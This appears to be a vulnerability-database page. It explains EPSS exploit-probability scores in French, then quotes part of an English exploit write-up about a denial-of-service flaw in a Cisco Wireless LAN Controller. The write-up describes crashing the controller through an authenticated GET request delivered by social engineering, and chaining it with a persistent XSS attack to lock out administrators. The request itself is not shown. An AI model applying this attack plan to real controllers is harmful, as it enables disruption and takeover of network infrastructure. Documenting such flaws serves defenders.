EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

--Bug--
DoS - Denial of Service
If a GET request is made to the URL listed below with the supplied HTML parameters, the Cisco WLC will crash and perform a cold start. The request requires authentication, so you would have to target a specific authenticated user using social engineering tactics, and get them to some how submit the request to the WLC. This DoS GET
request could be used in conjunction with my demonstrated chained POC exploit above using the persistent XSS vulnerability to crash the WLC after performing the initial attack. This would
prevent an admin from quickly undoing the changes that were made during the attack, and if the attacker was quick enough to get shell or web access on the WLC before the admin after
the WLC reboot, the attacker could change the admin password to prevent further access.
